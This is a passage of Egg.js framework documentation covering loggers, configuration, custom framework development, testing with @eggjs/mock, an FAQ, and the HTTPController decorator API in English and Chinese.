We recommend application development to follow the principle of configuration and code separation, put hard-coded business in configuration file, and the configuration file supports different runtime environments using different configurations, it is very convenient to use it. the framework, plugin and application-level configurations are available via the Config object. For configuration of Egg, read [Configuration](./config.md) in detail.

### How to Get

We can get the config object from the Application instance via `app.config`, or get the config object via` this.config` on the instance of Controller, Service or Helper.

## Logger

Egg builds in powerful [logger](../core/logger.md), it is very convenient to print a variety of levels of logs to the corresponding log file, each logger object provides 4 level methods:

* `logger.debug()`
* `logger.info()`
* `logger.warn()`
* `logger.error()`

Egg provides a number of Logger object, we simply introduce how to get each Logger and its use scenario.

### App Logger

We can get it via `app.logger`. If we want to do some application-level logging, such as logging some data in the startup phase, logging some business informations that are unrelated to request, those can be done by App Logger.

### App CoreLogger

We can get it via `app.coreLogger`, and we should not print logs via CoreLogger when developing applications. the framework and plugins need to print application-level logs to make it easier to distinguish from logs printed by applications and logs printed by frameworks, the logs printed by the CoreLogger will be placed in a different file than the Logger.

### Context Logger

We can get it via `ctx.logger` from Context instance, we can see from access method, Context Logger must be related to the request, it will take current request related information (such as `[$userId/$ip/$traceId/${cost}ms $method $url]`) in the front of logs, with this information, we can quickly locate requests from logs and concatenate all logs in one request.

### Context CoreLogger

We can get it via `ctx.coreLogger`, the difference between the Context Logger is that only plugins and framework will log via it.

### Controller Logger & Service Logger

We can get them via `this.logger` in Controller and Service instance, they are essentially a Context Logger, but additional file path will be added to logs, easy to locate the log print location.

## Subscription

Subscription is a common model for subscribing, for example, the consumer in message broker or schedule, so we provide the Subscription base class to normalize this model.

The base class of Subscription can be exported in the following way.

```js
const Subscription = require('egg').Subscription;

class Schedule extends Subscription {
  // This method should be implemented
  // subscribe can be async function or generator function
  async subscribe() {}
}
```

We recommend plugin developers to implement based on this model, For example, [Schedule](./schedule.md).

[koa]: http://koajs.com

[koa.application]: http://koajs.com/#application

[koa.context]: http://koajs.com/#context

[koa.request]: http://koajs.com/#request

[koa.response]: http://koajs.com/#response

[egg-sequelize]: https://github.com/eggjs/egg-sequelize

[middleware]: ./middleware.md

[controller]: ./controller.md

[service]: ./service.md

---

---
url: /advanced/framework.md
---

# Framework Development

If your team have met with these scenarios:

* Each project contains the same configuration files that need to be copied every time, such as `gulpfile.js`, `webpack.config.js`.
* Each project has similar dependencies.
* It's difficult to synchronize those projects based on the same configurations like those mentioned above once they have been optimized?

If your team needs:

* a unified technique selection, such as the choice of databases, templates, frontend frameworks, and middlewares.
* a unified default configuration to balance the deviation of different situations, which are not supposed to resolve in code level, like the differences between companies and open communities.
* a unified [deployment plan](../core/deployment.md) keeping developers concentrate on code without paying attention to deployment details of connecting the framework and platforms.
* a unified code style to decrease code's repetition and optimize code's appearance, which is important for a enterprise level framework.

To satisfy these demands, Egg endows developers with the capacity of `customizing a framework`. It is just an abstract layer, which can be constructed to a higher level framework, supporting inheritance of unlimited times. Furthermore, Egg apply a quantity of coding conventions based on Koa.

Therefore, a uniform spec can be applied on projects in which the differentiation fulfilled in plugins. And the best practice summed from those projects can be continuously extracted from these plugins to the framework, which is available to other projects by just updating the dependencies' versions.

See more details in [Progressive Development](../intro/progressive.md)。

## Framework and Multiprocess

The framework extension is applied to Multiprocess Model, as we know [Multiprocess Model](../core/cluster-and-ipc.md) and the differences between Agent Worker and App Worker, which have different APIs and both need to inherit.

They both are inherited from [EggCore](https://github.com/eggjs/egg-core), and Agent is instantiated during the initiation of Agent Worker, while App is instantiated during the initiation of App Worker.

We could regard EggCore as the advanced version of Koa Application, which integrates built-in features such as [Loader](./loader.md)、[Router](../basics/router.md) and asynchronous launch.

```bash
       Koa Application
              ^
           EggCore
              ^
       ┌──────┴───────┐
       │              │
   Egg Agent      Egg Application
      ^               ^
 agent worker     app worker
```

## How to Customize a Framework

Just use [egg-boilerplate-framework](https://github.com/eggjs/egg-boilerplate-framework) to generates a scaffold for you.

```bash
$ mkdir yadan && cd yadan
$ npm init egg --type=framework
$ npm i
$ npm test
```

But in order to illustrate details, let's do it step by step. Here is the [sample code](https://github.com/eggjs/examples/tree/master/framework).

### Framework API

Each of those APIs is required to be implemented almost twice - one for Agent and another for Application.

#### `egg.startCluster`

This is the entry function of Egg's multiprocess launcher, based on [egg-cluster](https://github.com/eggjs/egg-cluster), to start Master, but EggCore running in a single process doesn't invoke this function while Egg does.

```js
const startCluster = require('egg').startCluster;
startCluster(
  {
    // directory of code
    baseDir: '/path/to/app',
    // directory of framework
    framework: '/path/to/framework',
  },
  () => {
    console.log('app started');
  },
);
```

All available options could be found in [egg-cluster](https://github.com/eggjs/egg-cluster#options).

#### `egg.Application` And `egg.Agent`

These are both singletons but still different with each other. To inherit framework, it's likely to inherited these two classes.

#### `egg.AppWorkerLoader` and `egg.AgentWorkerLoader`

To customize framework, Loader is required and has to be inherited from Egg Loader for the propose of either loading directories or rewriting functions.

### Framework Extension

If we consider a framework as a class, then Egg framework is the base class,and implementing a framework demands to implement entire APIs of Egg.

```bash
// package.json
{
  "name": "yadan",
  "dependencies": {
    "egg": "^2.0.0"
  }
}

// index.js
module.exports = require('./lib/framework.js');

// lib/framework.js
const path = require('path');
const egg = require('egg');

class Application extends egg.Application {
  protected override customEggPaths() {
    // return the path of framework
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
}

// rewrite Egg's Application
module.exports = Object.assign(egg, {
  Application,
});
```

The name of framework, default as `egg`, is a indispensable option to launch an application, set by `egg.framework` of `package.json`, then Loader loads the exported app of a module named it.

```json
{
  "scripts": {
    "dev": "egg-bin dev"
  },
  "egg": {
    "framework": "yadan"
  }
}
```

As a loadUnit of framework, yadan is going to load specific directories and files, such as `app` and `config`. Find more files loaded at [Loader](./loader.md).

### Principle of Framework Extension

The path of framework is override `customEggPaths()` method to expose itself to Loader. Why? It seems that the simplest way is to pass a param to the constructor. The reason is to expose those paths of each level of inherited frameworks and reserve their sequences. Since Egg is a framework capable of unlimited inheritance, each layer has to designate their own eggPath so that all the eggPaths are accessible through the prototype chain.

Given a triple-layer framework: department level > enterprise level > Egg

```js
// enterprise
const Application = require('egg').Application;

class Enterprise extends Application {
  protected override customEggPaths() {
    return ['/path/to/enterprise', ...super.customEggPaths()];
  }
}
// Customize Application
exports.Application = Enterprise;

// department
const Application = require('enterprise').Application;

// extend enterprise's Application
class department extends Application {
  protected override customEggPaths() {
    return ['/path/to/department', ...super.customEggPaths()];
  }
}

// the path of `department` have to be designated as described above
const Application = require('department').Application;
const app = new Application();
app.ready();
```

These code are pseudocode to elaborate the framework's loading process, and we have provided scaffolds to [development](../core/development.md) and [deployment](../core/deployment.md).

### Custom Agent

Egg's multiprocess model is composed of Application and Agent. Therefore Agent, another fundamental class similar to Application, is also required to be implemented.

```js
// lib/framework.js
const path = require('path');
const egg = require('egg');

class Application extends egg.Application {
  protected override customEggPaths() {
    // return the path of framework
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
}

class Agent extends egg.Agent {
  protected override customEggPaths() {
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
}

// rewrite Egg's Application
module.exports = Object.assign(egg, {
  Application,
  Agent,
});
```

**To be careful about that Agent and Application based on the same Class possess different APIs.**

### Custom Loader

Loader, the core of the launch process, is capable of loading data code, adjusting loading orders or even strengthen regulation of code.

As the same as Egg-Path, Loader exposes itself at `customEggLoader()` to ensure it's accessibility on prototype chain.

```js
// lib/framework.js
const path = require('path');
const egg = require('egg');

class YadanAppWorkerLoader extends egg.AppWorkerLoader {
  load() {
    super.load();
    // do something
  }
}

class Application extends egg.Application {
  protected override customEggPaths() {
    // return the path of framework
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
  // supplant default Loader
  protected override customEggLoader() {
    return YadanAppWorkerLoader;
  }
}

// rewrite Egg's Application
module.exports = Object.assign(egg, {
  Application,
  // custom Loader, a dependence of the high level framework, needs to be exported.
  AppWorkerLoader: YadanAppWorkerLoader,
});
```

AgentWorkerLoader is not going to be described because of it's similarity of AppWorkerLoader, but be aware of it's located at `agent.js` instead of `app.js`.

## The principle of Launch

Many descriptions of launch process are scattered at [Multiprocess Model](../core/cluster-and-ipc.md), [Loader](./loader.md) and [Plugin](./plugin.md), and here is a summarization.

* `startCluster` is invoked with `baseDir` and `framework`, then Master process is launched.
* Master forks a new process as Agent Worker
  * instantiate Agent Class of the framework loaded from path passed by the `framework` param.
  * Agent finds out the AgentWorkerLoader and then starts to load
  * use AgentWorkerLoader to load Worker synchronously in the sequence of Plugin Config, Extend, `agent.js` and other files.
  * The initiation of `agent.js` is able to be customized, and it supports asynchronous launch after which it notifies Master and invoke the function passed to `beforeStart`.
* After receiving the message that Agent Worker is launched，Master forks App Workers by cluster.
  * App Workers are multiple identical processes launched simultaneously
  * App Worker is instantiated, which is similar to Agent inherited Application class of framework loaded from framework path.
  * The same as Agent, Loading process of Application starts with AppWorkerLoader which loads files in the same order and finally informed Master.
* After informed of launching successfully of each App Worker, Master is finally functioning.

## Framework Testing

You'd better read [unittest](../core/unittest.md) first, which is similar to framework testing in a quantity of situations.

### Initiation

Here are some differences between initiation of frameworks.

```js
const mock = require('@eggjs/mock');
describe('test/index.test.js', () => {
  let app;
  before(() => {
    app = mock.app({
      // test/fixtures/apps/example
      baseDir: 'apps/example',
      // importent !! Do not miss
      framework: true,
    });
    return app.ready();
  });

  after(() => app.close());
  afterEach(mock.restore);

  it('should success', () => {
    return app.httpRequest().get('/').expect(200);
  });
});
```

* Different from application testing, framework testing tests framework code instead of application code, so that baseDir varies for the propose of testing kinds of applications.
* BaseDir is potentially considered to be under the path of `test/fixtures`, otherwise it should be absolute paths.
* The `framework` option is indispensable, which could be a absolute path or `true` meaning the path of the framework to be current directory.
* The use of the app should wait for the `ready` event in `before` hook, or some of the APIs is not available.
* Do not forget to invoke `app.close()` after testing, which could arouse the exhausting of fds, caused by unclosed log files.

### Cache

`mm.app` enables cache as default, which means new environment setting would not work once loaded.

```js
const mock = require('@eggjs/mock');

describe('/test/index.test.js', () => {
  let app;
  afterEach(() => app.close());

  it('should test on local', () => {
    mock.env('local');
    app = mock.app({
      baseDir: 'apps/example',
      framework: true,
      cache: false,
    });
    return app.ready();
  });
  it('should test on prod', () => {
    mock.env('prod');
    app = mock.app({
      baseDir: 'apps/example',
      framework: true,
      cache: false,
    });
    return app.ready();
  });
});
```

### Multiprocess Testing

Multiprocess is rarely tested because of the high cost and the unavailability of API level's mock, meanwhile, processes have a slow start or even timeout, but it still remains the most effective way of testing multiprocess model.

The option of `mock.cluster` have no difference with `mm.app` while their APIs are totally distinct, however, SuperTest still works.

```js
const mock = require('@eggjs/mock');

describe('test/index.test.js', () => {
  let app;
  before(() => {
    app = mock.cluster({
      baseDir: 'apps/example',
      framework: true,
    });
    return app.ready();
  });
  after(() => app.close());
  afterEach(mock.restore);

  it('should success', () => {
    return app.httpRequest().get('/').expect(200);
  });
});
```

Tests of `stdout/stderr` are also available, since `mm.cluster` is based on [coffee](https://github.com/popomore/coffee) in which multiprocess testing is supported.

```js
const mock = require('@eggjs/mock');

describe('/test/index.test.js', () => {
  let app;
  before(() => {
    app = mock.cluster({
      baseDir: 'apps/example',
      framework: true,
    });
    return app.ready();
  });
  after(() => app.close());

  it('should get `started`', () => {
    // set the expectation of console
    app.expect('stdout', /started/);
  });
});
```

---

---
url: /community/faq.md
---
# Frequently Asked Questions

If you have questions that is not contained below, please check [Egg issues](https://github.com/eggjs/egg/issues).

## How to feedback efficiently?

Thank you for reporting an issue.

1. It's RECOMMENDED to submit PR for typo or tiny bug fix.
2. If this's a FEATURE request, please provide: details, pseudo-codes if necessary.
3. If this's a BUG, please provide: course repetition, error log and configuration. Fill in as much of the template below as you're able.
4. **It will be nice to use `npm init egg --type=simple bug` to provide a mini GitHub repository which can reproduce the issue.**

Most importantly, please understand one thing: the relationship between the `user` and `the maintainer of open source project` is not `Buyer` and `Seller`, the issue is not a customer order either.
When you're opening an issue, please hold a mentality of "working together to solve this problem." Do not expect us to serve you unilaterally.

## Why does my config not work?

Framework [Config](../basics/config.md) settings is powerfull, support different environments and different places(framework, plugins, app).

When you got some trouble, and want to find out what is the final config using at runtime, you can checkout `${root}/run/application_config.json`(workers' configurations) and `${root}/run/agent_config.json`(agent's configurations).(`root` is application's root directory, in `local` and `unittest` environments, it will be project base directory, in other environments will be HOME directory)

Please make sure you don't make a mistake like the code below:

```js
// config/config.default.js
exports.someKeys = 'abc';
module.exports = (appInfo) => {
  const config = {};
  config.keys = '123456';
  return config;
};
```

## Where are my log files in prod environment?

By default, logs will print at `${baseDir}/logs`(baseDir is project's base directory) in the local environment. But in non-development environments(neither local nor unittest), the logs will print at `$HOME/logs`(such as `/home/admin/logs`). So the logs won't mix in during development and locate in the same place when run in production environment.

## Why not choose `PM2` as the process management tool?

1. `PM2` itself is too complex to issue problems if any.
2. Deep optimization could be difficult to achieve if choosing PM2.
3. Pattern like one leader process communicating with remote services, along with several follower processes delegating the request to it ([Cluster](../core/cluster-and-ipc.md)), is a rigid demand for reducing connections and data exchange load, especially when facing applications in very large scale. egg originates from Ant Financial Group and Alibaba Group, we start with applications in that scale at first, so we take these goals into consideration. All of these goals above could be hard to achieve with PM2.

Process management is very important. It defines the way we write code, meanwhile relates to deep runtime optimizations. So we think it's better included in the framework itself.

**How to start application with PM2?**

Although PM2 is not recommended, you can use it anyway.

Firstly, put a start file in the root directory of your project:

```js
// server.js
const egg = require('egg');

const workers = Number(process.argv[2] || require('os').cpus().length);
egg.startCluster({
  workers,
  baseDir: __dirname,
});
```

We can start the application with PM2 like this:

```bash
pm2 start server.js
```

## How to resolve `csrf` error?

There are two kinds of common csrf errors:

* `missing csrf token`
* `invalid csrf token`

By default [@eggjs/security](https://github.com/eggjs/security/) plugin built in Egg requires CSRF validation against all 'unsafe' request such as `POST`, `PUT`, `DELETE` requests.

The error will disappear in the presence of the correct csrf token in the request. For more implementation details, see \[../core/security.md#csrf].

## In the local development Environment, why is the worker process not restarted automatically when files are modified?

Usually this happens when you are using Jetbrains softwares(IntelliJ IDEA, WebStorm, etc.) with `Safe Write` turned on.

According to Jetbrains [Safe Write document](https://www.jetbrains.com/help/webstorm/2016.3/system-settings.html):

> If this check box is selected, a changed file is first saved in a temporary file. If the save operation succeeds, the file being saved is replaced with the saved file. (Technically, the original file is deleted and the temporary file is renamed.)

Renaming files leads to file watching failure. The solution is simple: just turn of `Safe Write` option. (Settings | Appearance & Behavior | System Settings | Use "safe write", the path may vary in different versions)

---

---
url: /basics/httpcontroller.md
---
# HTTP Controller

## Use Cases

When you need to provide HTTP services in your application, use the HTTPController decorator to declare HTTP interfaces. It's recommended for scenarios that strongly depend on the HTTP protocol. Common scenarios include:

* SSR scenarios, where HTML is rendered on the server side and returned to the frontend.
* SSE scenarios, communicating with the frontend in real-time through Server-Sent Events to implement features like AI conversations.
* Scenarios that rely on HTTP protocol data such as cookies for business logic processing.

## Usage

Use the `HTTPController` decorator to declare a class as an HTTP controller, and use the `HTTPMethod` decorator to declare the specific HTTP interface information for methods in that class.

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';

@HTTPController()
export default class SimpleController {
  // Declare a GET /api/hello/:name interface
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/hello/:name' })
  async hello(@HTTPParam() name: string) {
    return {
      message: 'hello ' + name,
    };
  }
}
```

The `HTTPController` decorator supports passing a `path` parameter to specify the base HTTP path for the controller, which will be concatenated with the `path` parameter in `HTTPMethod` to form the final HTTP path.

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';

// Set path parameter to specify the path prefix for all interfaces in this class
@HTTPController({ path: '/api' })
export default class PathController {
  // GET /api/hello
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: 'hello' })
  async hello() {
    // ...
  }

  // POST /api/echo
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: 'echo' })
  async echo() {
    // ...
  }
}
```

## Path Priority

The `path` set through the `HTTPMethod` decorator is parsed using [path-to-regexp](https://github.com/pillarjs/path-to-regexp), which supports simple parameters, wildcards, and other features. When multiple `HTTPMethod` decorators satisfy path matching simultaneously, priority is needed to determine the matched interface. Interfaces with higher priority will be matched first.

Egg automatically calculates a priority for each interface. The default priority rules should satisfy most scenarios. Therefore, in most cases, there's no need to manually specify priority. The default priority rules are as follows:

> priority = pathHasRegExp
> ? regexpIndexInPath.reduce((p,c) => p + c \* 1000, 0)
> : 100000

Combined with specific examples, the default priorities of the following interfaces are shown from low to high:

| Path                          | RegExp index | priority |
| ----------------------------- | ------------ | -------- |
| /\*                           | \[0]          | 0        |
| /hello/:name                  | \[1]          | 1000     |
| /hello/world/message/:message | \[3]          | 3000     |
| /hello/:name/message/:message | \[1, 3]       | 4000     |
| /hello/world                  | \[]           | 100000   |

For business scenarios where the default priority is insufficient, you can manually specify priority through the `priority` parameter of the `HTTPMethod` decorator.

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';

@HTTPController()
export default class PriorityController {
  @HTTPMethod({
    method: HTTPMethodEnum.GET,
    path: '/(api|openapi)/echo',
    priority: 100000, // Specify higher priority for this interface
  })
  async high() {
    // ...
  }

  @HTTPMethod({
    method: HTTPMethodEnum.POST,
    path: '/(api|openapi)/(.+)',
  })
  async low() {
    // ...
  }
}
```

## Request Parameter Decorators

### HTTPHeaders

The `HTTPHeaders` decorator is used to get the complete HTTP request headers.

:::warning
⚠️ Note: Keys in headers will be converted to lowercase. Please use lowercase characters when retrieving values.
:::

```typescript
import {
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
  HTTPHeaders,
  IncomingHttpHeaders,
} from 'egg';

@HTTPController()
export default class ArgsController {
  // curl http://localhost:7001/api/hello -H 'X-Custom: custom'
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/hello' })
  async getHeaders(@HTTPHeaders() headers: IncomingHttpHeaders) {
    const custom = headers['x-custom'];
    // ...
  }
}
```

### HTTPQuery/HTTPQueries

The `HTTPQuery/HTTPQueries` decorators are used to get querystring parameters from HTTP requests. `HTTPQuery` only takes the first parameter and must be of type `string`; `HTTPQueries` injects parameters as an array containing one or more values, of type `string[]`.

```typescript
import {
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
  HTTPQuery,
  HTTPQueries,
} from 'egg';

@HTTPController()
export default class ArgsController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/query' })
  async getQueries(
    // /api/query?user=asd&user=fgh
    // user = 'asd'
    // users = ['asd', 'fgh']
    @HTTPQuery() user?: string, // When name is not set, variable name will be used automatically
    @HTTPQueries({ name: 'user' }) users?: string[], // Can also manually specify name
  ) {
    // ...
  }
}
```

### HTTPParam

The `HTTPParam` decorator is used to get matched parameters from the HTTP request `path`, which can only be of string type. The parameter name is the same as the variable name by default, but can also be manually specified if there are alias requirements.

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';

@HTTPController()
export default class ArgsController {
  // curl http://127.0.0.1:7001/api/2088000
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/:id' })
  async getParamId(@HTTPParam() id: string) {
    // id is '2088000'
    // ...
  }

  // Match the first regex-matched character in path
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/foo/(.*)' })
  async getParamBar(@HTTPParam({ name: '0' }) bar: string) {
    // ...
  }
}
```

### HTTPBody

The `HTTPBody` decorator is used to get request body content. When injecting, the framework will first parse the request body according to the `content-type` in the request header, supporting json, text, and form-urlencoded. Other `content-type` types will inject empty values. You can get the raw request body through the `Request` decorator and process it yourself.

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from 'egg';

export interface BodyData {
  foo: string;
  bar?: number;
}

@HTTPController()
export default class ArgsController {
  // content-type: application/json
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/json-body' })
  async getJsonBody(@HTTPBody() body: BodyData) {
    // ...
  }

  // content-type: text/plain
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/text-body' })
  async getTextBody(@HTTPBody() body: string) {
    // ...
  }

  // content-type: application/x-www-form-urlencoded
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/formdata-body' })
  async getFormBody(
    @HTTPBody() body: FormData, // In function apps, it's FormData type
    // @HTTPBody() body: BodyData, // In standard apps, it's a plain object
  ) {
    // ...
  }
}
```

### Cookies

The `Cookies` decorator is used to get the complete HTTP Cookies.

```typescript
import {
  Cookies,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
  HTTPCookies,
} from 'egg';

@HTTPController()
export default class ArgsController {
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/cookies' })
  async getCookies(@HTTPCookies() cookies: Cookies) {
    return {
      success: true,
      cookies: cookies.get('test', { signed: false }),
    };
  }
}
```

### HTTPRequest

The `HTTPRequest` decorator is used to get the complete HTTP request object, allowing you to get request information such as url, headers, and body. For specific APIs, please refer to the type definitions.

:::warning
⚠️ Note: After injecting the request body through the @HTTPBody decorator, the request body will be consumed. If you also inject @HTTPRequest and consume the request body again, it will cause an error (injecting @HTTPRequest without consuming the request body to get url, headers, etc. will not be affected).
:::

```typescript
import {
  HTTPBody,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
  HTTPRequest,
} from 'egg';

@HTTPController()
export default class ArgsController {
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/request' })
  async getRequest(@HTTPRequest() request: Request) {
    const headerData = request.headers.get('x-header-key');
    const url = request.url;
    // Get request body arrayBuffer
    const arrayBufferData = await request.arrayBuffer();
    // ...
  }

  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/request2' })
  async getRequest2(@HTTPBody() body: object, @HTTPRequest() request: Request) {
    // Injecting both HTTPBody and Request, reading header, url, etc. through request works normally
    const headerData = request.headers.get('x-header-key');
    const url = request.url;
    // ❌ Wrong example
    // When the request body has already been injected through HTTPBody
    // Consuming the request body again through request will throw an exception
    // const arrayBufferData = await request.arrayBuffer();
    // ...
  }
}
```

### HTTPContext

In standard applications, you can use the `HTTPContext` decorator to get the Egg [Context][Context] object.

:::warning
⚠️ Note: The `HTTPContext` decorator is not supported in function applications.
:::

```typescript
import {
  HTTPContext,
  Context,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
} from 'egg';

@HTTPController()
export default class ArgsController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/context' })
  async getContext(@HTTPContext() context: Context) {
    // ...
  }
}
```

## HTTP Response

### Default Response

By default, when the `HTTPMethod` function returns an object, the framework will process it with `JSON.stringify` and set `Content-Type: application/json` to return to the client.

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';

@HTTPController()
export default class ResponseController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/json' })
  async defaultResponse() {
    return {
      result: 'hello world',
    };
  }
}
```

### Custom Response

#### Function Applications

In function applications, when you need to return non-JSON data or set HTTP response codes and response headers, you can set and return through the globally injected `Response` object.

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';

@HTTPController()
export default class ResponseController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/custom-response' })
  async customResponse() {
    // Response is a global object, no need to import
    return new Response('<h1>Hello World</h1>', {
      status: 200,
      headers: {
        'transfer-encoding': 'chunked',
        'content-type': 'text/html; charset=utf-8',
        'x-header-key': 'from-function',
      },
    });
  }
}
```

#### Standard Applications

In standard applications, you can use the APIs provided by [Context][Context] to customize HTTP response codes and response headers.

```typescript
import {
  Context,
  HTTPContext,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
} from 'egg';

@HTTPController()
export default class ResponseController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/custom-response' })
  async customResponse(@HTTPContext() ctx: Context) {
    // Custom response code
    ctx.status = 200;
    // Add custom response header
    ctx.set('x-custom', 'custom');
    // Syntactic sugar for setting Content-Type, equivalent to ctx.set('content-type', 'application/json')
    // Supports common types like json, html, etc. See https://github.com/jshttp/mime-types
    ctx.type = 'html';

    return '<h1>Hello World</h1>';
  }
}
```

### Stream Response

Simply wrap the streaming data as a `Readable` object and return it.

```typescript
import { Readable } from 'node:stream';
import { setTimeout } from 'node:timers/promises';
import {
  Context,
  HTTPContext,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
} from 'egg';

// Construct streaming data
async function* generate(count = 5, duration = 500) {
  yield '<html><head><title>hello stream</title></head><body>';
  for (let i = 0; i < count; i++) {
    yield `<h2>Stream content ${i + 1}, ${Date()}</h2>`;
    await setTimeout(duration);
  }
  yield '</body></html>';
}

@HTTPController()
export default class ResponseController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/stream' })
  async streamResponse(@HTTPContext() ctx: Context) {
    ctx.type = 'html';
    return Readable.from(generate());
  }
}
```

[Context]: ./objects.md#context

---

---
url: /zh-CN/basics/httpcontroller.md
---
# HTTP Controller

## 使用场景

需要在应用中，提供 HTTP 服务时，通过 HTTPController 装饰器申明 HTTP 接口。建议用于强依赖 HTTP 协议的场景。常见场景有：

* SSR 场景，在服务端流式渲染 HTML 后返回给前端。
* SSE 场景，通过 Server-Sent Events 与前端实时通信，实现 AI 对话等功能。
* 依赖 cookie 等 HTTP 协议数据进行业务逻辑处理的场景。

## 使用方式

使用 `HTTPController` 装饰器申明一个类为 HTTP 控制器，使用 `HTTPMethod` 装饰器申明该类中的方法对应的具体 HTTP 接口信息。

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';

@HTTPController()
export default class SimpleController {
  // 申明一个 GET /api/hello/:name 接口
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/hello/:name' })
  async hello(@HTTPParam() name: string) {
    return {
      message: 'hello ' + name,
    };
  }
}
```

`HTTPController` 装饰器支持传入 `path` 参数，用于指定该控制器的基础 HTTP path，和 `HTTPMethod` 中的 `path` 参数拼接后，为最终的 HTTP path。

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';

// 设置 path 参数，用于指定该类下所有接口的 path 前缀
@HTTPController({ path: '/api' })
export default class PathController {
  // GET /api/hello
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: 'hello' })
  async hello() {
    // ...
  }

  // POST /api/echo
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: 'echo' })
  async echo() {
    // ...
  }
}
```

## path 优先级

通过 `HTTPMethod` 装饰器设置的 `path` 使用 [path-to-regexp](https://github.com/pillarjs/path-to-regexp) 进行解析，支持一些简单的参数、通配符等功能。若有多个 `HTTPMethod` 同时满足 `path` 匹配时，则需要通过优先级来确定匹配的接口，优先级越高的接口会被优先匹配。

egg 默认会给每个接口都计算一个优先级。默认优先级规则应该满足绝大多数场景使用。因此大多数场景，都无需手动指定优先级。默认优先级规则如下所示：

> priority = pathHasRegExp
> ? regexpIndexInPath.reduce((p,c) => p + c \* 1000, 0)
> : 100000

结合具体例子来看，下列接口的默认优先级由低到高分别如下所示：

| Path                          | RegExp index | priority |
| ----------------------------- | ------------ | -------- |
| /\*                           | \[0]          | 0        |
| /hello/:name                  | \[1]          | 1000     |
| /hello/world/message/:message | \[3]          | 3000     |
| /hello/:name/message/:message | \[1, 3]       | 4000     |
| /hello/world                  | \[]           | 100000   |

对于默认优先级无法满足的业务场景，可通过 `HTTPMethod` 装饰器的 `priority` 参数手动指定优先级。

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';

@HTTPController()
export default class PriorityController {
  @HTTPMethod({
    method: HTTPMethodEnum.GET,
    path: '/(api|openapi)/echo',
    priority: 100000, // 指定该接口优先级更高
  })
  async high() {
    // ...
  }

  @HTTPMethod({
    method: HTTPMethodEnum.POST,
    path: '/(api|openapi)/(.+)',
  })
  async low() {
    // ...
  }
}
```

## 请求参数装饰器

### HTTPHeaders

`HTTPHeaders` 装饰器用于获取完整的 HTTP 请求头。

:::warning
⚠️注意: headers 中的 key 会被转为小写，取值时请使用小写字符进行取值。
:::

```typescript
import {
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
  HTTPHeaders,
  IncomingHttpHeaders,
} from 'egg';

@HTTPController()
export default class ArgsController {
  // curl http://localhost:7001/api/hello -H 'X-Custom: custom'
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/hello' })
  async getHeaders(@HTTPHeaders() headers: IncomingHttpHeaders) {
    const custom = headers['x-custom'];
    // ...
  }
}
```

### HTTPQuery/HTTPQueries

`HTTPQuery/HTTPQueries` 装饰器用于获取 HTTP 请求中 querystring 参数。`HTTPQuery` 只取第一个参数，类型必须为 `string`；`HTTPQueries` 以数组形式注入参数，数组包含一个或多个值，类型为 `string[]`。

```typescript
import {
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
  HTTPQuery,
  HTTPQueries,
} from 'egg';

@HTTPController()
export default class ArgsController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/query' })
  async getQueries(
    // /api/query?user=asd&user=fgh
    // user = 'asd'
    // users = ['asd', 'fgh']
    @HTTPQuery() user?: string, // 未设置 name 时，将自动读取变量名为 name
    @HTTPQueries({ name: 'user' }) users?: string[], // 也可手动指定 name
  ) {
    // ...
  }
}
```

### HTTPParam

`HTTPParam` 装饰器用于获取 HTTP 请求 `path` 中匹配的参数，只能为 string 类型。参数名默认和变量名相同，若有别名等需求，也可手动指定名称。

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';

@HTTPController()
export default class ArgsController {
  // curl http://127.0.0.1:7001/api/2088000
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/:id' })
  async getParamId(@HTTPParam() id: string) {
    // id 为 '2088000'
    // ...
  }

